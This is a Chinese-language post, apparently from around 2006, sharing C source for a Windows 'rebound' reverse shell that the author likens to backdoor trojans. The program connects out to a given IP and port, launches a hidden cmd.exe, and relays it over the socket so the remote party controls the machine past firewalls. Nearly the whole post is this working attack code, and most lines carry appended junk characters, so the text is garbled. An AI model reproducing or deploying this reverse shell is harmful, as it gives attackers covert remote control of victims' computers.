这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <D;H}ef
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/* ============================== l|ZzG4]+l
Rebound port in Windows NT 9?}rpA`P
By wind,2006/7 0>~6Z
===============================*/ _V7^sk!
#include qh)!| B
#include -9H!j4]T?
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#pragma comment(lib,"wsock32.lib") S,`Sq8H
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void OutputShell(); ltr;pc*)
SOCKET sClient; F"m}mf
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3f:1D=f
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void main(int argc,char **argv) hBfzU\*0H
{ B
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WSADATA stWsaData; c> U{,z
int nRet; OuBMVn
SOCKADDR_IN stSaiClient,stSaiServer; eX
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if(argc != 3) MR)KLM0
{ *v:,rh
printf("Useage:\n\rRebound DestIP DestPort\n"); #nc@!+
return; }*}`)rj,
} L>5!3b=b
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WSAStartup(MAKEWORD(2,2),&stWsaData); e@2Vn? 5
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vq0M[Vy
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stSaiClient.sin_family = AF_INET; S!I <m&Cgc
stSaiClient.sin_port = htons(0); vU$O{|J
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qs
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) L1Cn
{ +{Jf]"KD
printf("Bind Socket Failed!\n"); tls6rto
return; 0ZID
@^
} bZOy~F|
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stSaiServer.sin_family = AF_INET; h-_0 A]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [q>i
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y8~)/)l&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }'.Sn{OWf
{ ^cmP
printf("Connect Error!"); h$ETH1Ue
return; Ay"2W%([`
} B> "r -O
OutputShell(); ,~N+?k_
} #g`cih=QL
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void OutputShell() G|G?h
{ v/TlXxfil
char szBuff[1024]; ik:)-GV;s
SECURITY_ATTRIBUTES stSecurityAttributes; ux79"5qb
OSVERSIONINFO stOsversionInfo; L%s4snE
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D917[<$
STARTUPINFO stStartupInfo; pXT$Y8M
char *szShell; 0[!gk]p
PROCESS_INFORMATION stProcessInformation; lRATrp#T
unsigned long lBytesRead; ^SSOh#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Tk#&Ux{ZJ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nhXp_Z9
stSecurityAttributes.lpSecurityDescriptor = 0; `1d`9AS2g
stSecurityAttributes.bInheritHandle = TRUE; =3v
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iQ}sp64
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *6x^w%=A
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )|^<woli,
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5wFS.!xD
stStartupInfo.wShowWindow = SW_HIDE; `E0.P V
stStartupInfo.hStdInput = hReadPipe; AGJ=de.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8.%a"sxr
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GetVersionEx(&stOsversionInfo); q(PT'z
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switch(stOsversionInfo.dwPlatformId) qT>&
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{ DdS3<3]A
case 1: !e\R;bYM
szShell = "command.com"; 2hA66ar{$
break; +i_f.Ipp
default: /
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szShell = "cmd.exe"; X$h~d8@r
break; |XdrO
} #z^1)7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ; 7v7V
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send(sClient,szMsg,77,0); GoVPo'
while(1) [[r3fEr$!p
{ p$o&dQ=n[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8 8=c3^
if(lBytesRead) D*r Zaqy
{ f}ij=Y9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); pB7Z;&9
send(sClient,szBuff,lBytesRead,0); 8YLZ)k'
} t5v)6|
else GH+FZ (F
{ ;s
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lBytesRead=recv(sClient,szBuff,1024,0); )%@WoBRj
if(lBytesRead<=0) break; A8Z?[,Mq!
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); . N} }cJq
} {f-/,g~
} % m5 ^p
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return; AXv;r<
}